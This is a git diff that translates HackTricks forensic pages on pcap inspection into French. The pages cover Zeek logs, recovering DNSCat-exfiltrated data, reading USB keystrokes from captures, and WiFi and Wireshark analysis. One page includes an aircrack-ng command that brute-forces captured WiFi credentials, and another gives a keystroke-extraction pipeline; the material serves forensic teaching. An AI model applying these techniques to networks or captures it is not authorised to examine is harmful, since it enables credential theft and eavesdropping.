-Check if you can find any fingerprint of a known malware: +Vérifiez si vous pouvez trouver une empreinte digitale d'un malware connu: {% content-ref url="../malware-analysis.md" %} [malware-analysis.md](../malware-analysis.md) @@ -160,12 +161,9 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. - -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +> Zeek est un analyseur de trafic réseau passif et open-source. De nombreux opérateurs utilisent Zeek comme moniteur de sécurité réseau (NSM) pour soutenir les enquêtes sur des activités suspectes ou malveillantes. Zeek prend également en charge un large éventail de tâches d'analyse de trafic au-delà du domaine de la sécurité, notamment la mesure des performances et le dépannage. +En gros, les journaux créés par `zeek` ne sont pas des **pcaps**. Par conséquent, vous devrez utiliser **d'autres outils** pour analyser les journaux où se trouvent les **informations** sur les pcaps. ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -215,9 +213,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### Informations DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -234,8 +230,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Autres astuces d'analyse de pcap {% content-ref url="dnscat-exfiltration.md" %} [dnscat-exfiltration.md](dnscat-exfiltration.md) @@ -253,7 +248,7 @@ rita show-exploded-dns -H --limit 10 zeek_logs
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} @@ -261,10 +256,10 @@ rita show-exploded-dns -H --limit 10 zeek_logs ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index cf57763b7..c0aa55cec 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,26 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +Si vous avez un fichier pcap avec des données **exfiltrées par DNSCat** (sans utiliser de chiffrement), vous pouvez trouver le contenu exfiltré. +Vous devez seulement savoir que les **9 premiers octets** ne sont pas des données réelles mais sont liés à la **communication C\&C** : ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -39,8 +36,7 @@ for p in rdpcap('ch21.pcap'): #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +Pour plus d'informations: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) @@ -48,16 +44,14 @@ For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsides ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 73afa67b7..9da3572f8 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,29 +1,10 @@ +Si vous avez un fichier pcap d'une connexion USB avec beaucoup d'interruptions, il s'agit probablement d'une connexion de clavier USB. +Un filtre Wireshark comme celui-ci pourrait être utile: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -
+Il pourrait être important de savoir que les données qui commencent par "02" sont pressées en utilisant la touche shift. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. - -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` - -It could be important to know that the data that starts with "02" is pressed using shift. - -You can read more information and find some scripts about how to analyse this in: +Vous pouvez trouver plus d'informations et trouver des scripts sur la façon d'analyser cela dans: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) @@ -34,16 +15,14 @@ You can read more information and find some scripts about how to analyse this in ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection d'[NFTs](https://opensea.io/collection/the-peass-family) exclusifs. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- Rejoignez le [groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou suivez-moi sur Twitter [@carlospolopm](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud). - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 34ffca9f2..370ad3fde 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,36 +1,13 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -If you have a pcap containing the communication via USB of a keyboard like the following one: +Si vous disposez d'un fichier pcap contenant la communication via USB d'un clavier comme celui-ci : ![](<../../../.gitbook/assets/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +Vous pouvez utiliser l'outil [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) pour obtenir ce qui a été écrit dans la communication : ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - - - -You can read more information and find some scripts about how to analyse this in: +Vous pouvez trouver plus d'informations et des scripts sur la façon d'analyser cela dans: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) @@ -40,16 +17,14 @@ You can read more information and find some scripts about how to analyse this in ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 2230555b0..22a885935 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,25 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Check BSSIDs +# Vérifier les BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Lorsque vous recevez une capture dont le trafic principal est Wifi en utilisant WireShark, vous pouvez commencer à enquêter sur tous les SSID de la capture avec _Wireless --> WLAN Traffic_ : ![](<../../../.gitbook/assets/image (424).png>) @@ -27,29 +25,27 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ## Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +L'une des colonnes de cet écran indique si **une authentification a été trouvée dans le pcap**. Si tel est le cas, vous pouvez essayer de la forcer en utilisant `aircrack-ng` : ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +# Données dans les balises / Canal latéral -# Data in Beacons / Side Channel +Si vous soupçonnez que **des données sont en train de fuiter à l'intérieur des balises d'un réseau Wifi**, vous pouvez vérifier les balises du réseau en utilisant un filtre comme celui-ci : `wlan contains `, ou `wlan.ssid == "NOMduRESEAU"` pour rechercher des chaînes suspectes dans les paquets filtrés. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Trouver des adresses MAC inconnues dans un réseau Wifi -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Le lien suivant sera utile pour trouver les **machines qui envoient des données à l'intérieur d'un réseau Wifi** : * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Si vous connaissez déjà les **adresses MAC, vous pouvez les supprimer de la sortie** en ajoutant des vérifications comme celle-ci : `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Une fois que vous avez détecté des **adresses MAC inconnues** communiquant à l'intérieur du réseau, vous pouvez utiliser des **filtres** comme celui-ci : `wlan.addr== && (ftp || http || ssh || telnet)` pour filtrer son trafic. Notez que les filtres ftp/http/ssh/telnet sont utiles si vous avez décrypté le trafic. -# Decrypt Traffic +# Décrypter le trafic -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit +Modifier --> Préférences --> Protocoles --> IEEE 802.11--> Modifier ![](<../../../.gitbook/assets/image (426).png>) @@ -61,16 +57,14 @@ Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 071ac359f..4dd252c92 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,141 +1,136 @@ -# Wireshark tricks +# Astuces Wireshark -## Wireshark tricks +## Astuces Wireshark
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou 